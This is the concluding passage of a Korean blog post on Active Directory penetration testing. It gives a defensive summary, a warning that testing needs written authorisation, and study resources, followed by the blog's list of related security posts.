Active Directory 모의침투는 조직의 보안 태세를 평가하고 개선하는 중요한 과정입니다. 이 가이드에서 다룬 공격 기법들은 실제 공격자들이 사용하는 방법들이며, 이를 이해하고 대응하는 것이 효과적인 방어의 첫걸음입니다.
💡 핵심 요약
- AD는 단일 실패 지점: 도메인 컨트롤러가 침해되면 전체 네트워크가 위험
- krbtgt는 왕관의 보석: 가장 중요한 계정이며 반드시 보호 필요
- 깊이 있는 방어: 단일 보안 솔루션이 아닌 다층 방어 전략 필요
- 지속적인 모니터링: 이상 징후를 빠르게 탐지하고 대응
- 정기적인 평가: 모의침투를 통해 보안 수준 지속 개선
⚠️ 다시 한 번 강조합니다
이 문서의 모든 내용은 합법적이고 승인된 모의침투 테스트 목적으로만 사용되어야 합니다.
- 무단 침투 테스트는 범죄입니다
- 반드시 서면 승인을 받으세요
- 테스트 범위를 명확히 정의하세요
- 윤리적 책임을 다하세요
📚 추가 학습 자료
- MITRE ATT&CK: attack.mitre.org
- Microsoft Security: docs.microsoft.com/security
- Active Directory Security: adsecurity.org
- Pentester Academy: AD 전문 교육 과정
- SANS SEC560: Network Penetration Testing
'Hack > Network' 카테고리의 다른 글
| 이메일 인증 프로토콜(SPF, DKIM, DMARC)이란? (0) | 2023.11.26 |
|---|---|
| [CVE-2023-23997] MS Outlook EoP(Elevation of Privilege) 취약점 (0) | 2023.03.17 |
| [VUE JS] source map 파일을 통한 Frontend 소스 코드 획득 (0) | 2023.02.21 |
| [CVE-2022-3786] OpenSSL punycode Decoding Vulnerability (Stack Buffer over Flow) (0) | 2022.11.03 |
| [CVE-2022-3602] OpenSSL punycode Decoding Vulnerability (off-by-one) (0) | 2022.11.02 |
댓글